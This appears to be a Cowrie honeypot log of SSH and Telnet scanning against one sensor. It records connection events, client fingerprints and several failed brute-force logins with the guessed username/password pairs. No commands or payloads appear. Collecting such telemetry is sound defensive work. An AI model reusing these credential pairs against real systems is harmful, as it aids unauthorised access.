{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:01.878545Z","src_ip":"89.223.69.22","session":"9932b8a9e9c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:01.994675Z","src_ip":"89.223.69.22","session":"9932b8a9e9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexande","message":"login attempt [root/alexande] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:02.343885Z","src_ip":"89.223.69.22","session":"9932b8a9e9c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:03.461951Z","src_ip":"89.223.69.22","session":"9932b8a9e9c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":49938,"dst_ip":"10.17.0.5","dst_port":22,"session":"6143a3fce9d1","protocol":"ssh","message":"New connection: 147.45.199.80:49938 (10.17.0.5:22) [session: 6143a3fce9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:05.691966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:05.697510Z","src_ip":"147.45.199.80","session":"6143a3fce9d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:05.797860Z","src_ip":"147.45.199.80","session":"6143a3fce9d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marketing","message":"login attempt [root/marketing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:06.091328Z","src_ip":"147.45.199.80","session":"6143a3fce9d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:07.190086Z","src_ip":"147.45.199.80","session":"6143a3fce9d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.87578821182251,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:08.654267Z","src_ip":"69.4.83.194","session":"a8173439f6b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49016,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cce49965e47","protocol":"telnet","message":"New connection: 69.4.83.194:49016 (159.203.135.109:23) [session: 9cce49965e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:13.099776Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51982,"dst_ip":"159.203.135.109","dst_port":23,"session":"b397568f8d3e","protocol":"telnet","message":"New connection: 69.4.83.194:51982 (159.203.135.109:23) [session: b397568f8d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:21.273429Z"}
{"eventid":"cowrie.session.closed","duration":33.95466351509094,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:22.002284Z","src_ip":"69.4.83.194","session":"46371ef6ba0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.205.18.79","src_port":57870,"dst_ip":"159.203.135.109","dst_port":22,"session":"836e404dc014","protocol":"ssh","message":"New connection: 20.205.18.79:57870 (159.203.135.109:22) [session: 836e404dc014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:26.704427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:26.709458Z","src_ip":"20.205.18.79","session":"836e404dc014","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:26.929537Z","src_ip":"20.205.18.79","session":"836e404dc014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:27.842553Z","src_ip":"20.205.18.79","session":"836e404dc014","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:29.065382Z","src_ip":"20.205.18.79","session":"836e404dc014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57782,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6ff6e9d6322","protocol":"telnet","message":"New connection: 69.4.83.194:57782 (159.203.135.109:23) [session: e6ff6e9d6322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:36.376082Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.56.179","src_port":44210,"dst_ip":"159.203.135.109","dst_port":22,"session":"de194190ce21","protocol":"ssh","message":"New connection: 115.190.56.179:44210 (159.203.135.109:22) [session: de194190ce21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:42.411693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:42.417485Z","src_ip":"115.190.56.179","session":"de194190ce21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:42.668558Z","src_ip":"115.190.56.179","session":"de194190ce21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":52854,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2f24f72bbbe","protocol":"telnet","message":"New connection: 178.128.93.180:52854 (10.17.0.5:23) [session: e2f24f72bbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:43.338405Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ww123456..","message":"login attempt [root/Ww123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:45.328794Z","src_ip":"115.190.56.179","session":"de194190ce21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:46.583399Z","src_ip":"115.190.56.179","session":"de194190ce21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.136497497558594,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:47.236186Z","src_ip":"69.4.83.194","session":"9cce49965e47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":44458,"dst_ip":"10.17.0.5","dst_port":22,"session":"647503c5a321","protocol":"ssh","message":"New connection: 51.250.105.222:44458 (10.17.0.5:22) [session: 647503c5a321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:47.754149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:47.758462Z","src_ip":"51.250.105.222","session":"647503c5a321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:47.882765Z","src_ip":"51.250.105.222","session":"647503c5a321","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:48.257451Z","src_ip":"51.250.105.222","session":"647503c5a321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:49.384818Z","src_ip":"51.250.105.222","session":"647503c5a321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.171913862228394,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:02:56.445240Z","src_ip":"69.4.83.194","session":"b397568f8d3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.451148986816406,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:03:10.827137Z","src_ip":"69.4.83.194","session":"e6ff6e9d6322","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49656,"dst_ip":"159.203.135.109","dst_port":23,"session":"14865a75905b","protocol":"telnet","message":"New connection: 69.4.83.194:49656 (159.203.135.109:23) [session: 14865a75905b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:03:29.983797Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55280,"dst_ip":"159.203.135.109","dst_port":23,"session":"df9b37d02874","protocol":"telnet","message":"New connection: 69.4.83.194:55280 (159.203.135.109:23) [session: df9b37d02874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:03:44.041075Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58070,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e660b2e6001","protocol":"telnet","message":"New connection: 69.4.83.194:58070 (159.203.135.109:23) [session: 8e660b2e6001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:03:50.266332Z"}
{"eventid":"cowrie.session.closed","duration":72.00403308868408,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:03:55.342330Z","src_ip":"178.128.93.180","session":"e2f24f72bbbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":35280,"dst_ip":"159.203.135.109","dst_port":23,"session":"a38492abac74","protocol":"telnet","message":"New connection: 69.4.83.194:35280 (159.203.135.109:23) [session: a38492abac74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:04:04.321553Z"}
{"eventid":"cowrie.session.closed","duration":34.585590839385986,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:04:04.569237Z","src_ip":"69.4.83.194","session":"14865a75905b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40204,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0c4a4a53ac6","protocol":"telnet","message":"New connection: 69.4.83.194:40204 (159.203.135.109:23) [session: c0c4a4a53ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:04:18.184841Z"}
{"eventid":"cowrie.session.closed","duration":34.15062069892883,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:04:18.191600Z","src_ip":"69.4.83.194","session":"df9b37d02874","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":56556,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bc8815ae70c","protocol":"ssh","message":"New connection: 147.45.197.250:56556 (159.203.135.109:22) [session: 4bc8815ae70c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:04:22.847658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:04:22.852016Z","src_ip":"147.45.197.250","session":"4bc8815ae70c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:04:22.954167Z","src_ip":"147.45.197.250","session":"4bc8815ae70c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02021990","message":"login attempt [root/02021990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:04:23.242143Z","src_ip":"147.45.197.250","session":"4bc8815ae70c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:04:24.338597Z","src_ip":"147.45.197.250","session":"4bc8815ae70c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.60370230674744,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:04:24.869905Z","src_ip":"69.4.83.194","session":"8e660b2e6001","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.172605991363525,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:04:40.494037Z","src_ip":"69.4.83.194","session":"a38492abac74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.82351803779602,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:04:52.008240Z","src_ip":"69.4.83.194","session":"c0c4a4a53ac6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57042,"dst_ip":"159.203.135.109","dst_port":23,"session":"520d64340b47","protocol":"telnet","message":"New connection: 69.4.83.194:57042 (159.203.135.109:23) [session: 520d64340b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:04.131670Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":54052,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6b1ab3abce7","protocol":"telnet","message":"New connection: 178.128.93.180:54052 (10.17.0.5:23) [session: d6b1ab3abce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:25.921562Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":59214,"dst_ip":"159.203.135.109","dst_port":22,"session":"d31c4bf4e863","protocol":"ssh","message":"New connection: 85.11.167.46:59214 (159.203.135.109:22) [session: d31c4bf4e863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:28.805760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:05:28.810788Z","src_ip":"85.11.167.46","session":"d31c4bf4e863","protocol":"ssh"}
